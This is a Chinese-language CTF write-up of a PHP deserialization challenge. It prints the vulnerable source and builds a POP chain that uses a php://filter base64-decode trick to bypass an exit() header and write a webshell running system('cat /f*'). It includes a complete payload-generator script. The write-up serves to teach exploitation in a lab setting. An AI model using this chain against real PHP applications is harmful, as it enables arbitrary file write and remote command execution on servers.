【青少年CTF S1·2026 公益赛】Serialization

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AudiLog {
    public $handler;

    public function __construct() {
        $this->handler = new SystemStatus();
    }

    public function __toString() {
        return $this->handler->process();
    }
}

class FileCache {
    public $filePath;
    public $content;

    public function __construct($path = '', $data = '') {
        $this->filePath = $path;
        $this->content = $data;
    }

    public function process() {
        $security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
        $final_data = $security_header . $this->content;
        file_put_contents($this->filePath, $final_data);
        return "Cache Saved.";
    }
}

class SystemStatus {
    public function process() {
        if(file_exists('./system_config.php')) {
            include('./system_config.php');
        }
        return "System logic normal.";
    }
}

$payload = $_POST['data'];
if(isset($payload)){
    echo unserialize($payload);
}
else{
    echo "Invalid data stream.";
}
?>

从上面的代码中我们查找利用点,可以通过FileCache的process()写入一句话木马

php 复制代码
class FileCache {
    public $filePath;
    public $content;

    public function __construct($path = '', $data = '') {
        $this->filePath = $path;
        $this->content = $data;
    }

    public function process() {
        $security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
        $final_data = $security_header . $this->content;
        file_put_contents($this->filePath, $final_data);
        return "Cache Saved.";
    }
}

但是这里有一个问题是FileCache的process()在写入文件内容的时候,会在文件内容前面添加,让文件没有运行就退出

php 复制代码
<?php exit("Access Denied: Protected Cache"); ?>

因此我们要想办法绕过,我们可以通过base64解码吞字符的形势来躲过

php 复制代码
'<?php exit("Access Denied: Protected Cache"); ?>'

我们命令是

php 复制代码
<?php system("cat /f*");?>
对应的base64编码是
PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7Pz4=

然后我们打开cyberchef来进行组合拼接,让base64能够正常解析

可以看到中间加aaa就可以吞掉exit的代码,然后正常解码我们的命令

那么我们需要做下面的事情

php 复制代码
1、进行字符串的相关操作来出发__toString()魔法函数,原文中echo unserialize($payload);的echo就已经出发了,所以不需要我们管
2、将AudiLog类中的$this->handler替换成FileCache()
3、$this->filePath 赋值为php://filter/write=convert.base64-decode/resource=shell.php
这样就可以先通过base64解码,然后再写入到shell.php
4、$x->handler->content赋值为
'aaa' . base64_encode('<?php system("cat /f*");?>')

那么我们的payload如下

php 复制代码
<?php

class AudiLog {
    public $handler;

    public function __construct() {
        $this->handler = new FileCache();
    }

    public function __toString() {
        return $this->handler->process();
    }
}

class FileCache {
    public $filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
    public $content ;

    # 注意base64_encode函数不能直接赋值给变量,要放到__construct中
    public function __construct() {
        $this->content = 'aaa' . base64_encode('<?php system("cat /f*");?>');
    }

    

}

$exp = new AudiLog();
echo(urlencode(serialize($exp)))


?>

访问得到payload

输入到网站中

成功写入shell.php文件,同时将前面的exit内容吞掉,并写入system命令

相关推荐
HackTwoHub7 小时前
AI大模型网关存在SQL注入、附 POC 复现、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·网络安全·系统安全·网络攻击模型·安全架构
其实防守也摸鱼8 小时前
CTF密码学综合教学指南--第五章
开发语言·网络·笔记·python·安全·网络安全·密码学
HackTwoHub11 小时前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub13 小时前
Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
linux·运维·安全·web安全·网络安全·代码审计·安全架构
X7x515 小时前
筑牢网络安全防线:Web应用防火墙(WAF)全面解析
web安全·网络安全·安全架构·waf
以太浮标16 小时前
华为eNSP模拟器综合实验之- MGRE多点GRE隧道详解
运维·网络·网络协议·网络安全·华为·信息与通信
菩提小狗17 小时前
每日安全情报报告 · 2026-05-03
网络安全·漏洞·cve·安全情报·每日安全
love you joyfully17 小时前
如何随时随地访问你的“进程”?
网络·人工智能·网络安全·远程访问·网络技术
勿忘初心122119 小时前
企业级敏感数据脱敏工具类(Java实现)
网络安全·后端开发·企业级开发·java 工具类·敏感数据脱敏·pipl
Chengbei1119 小时前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全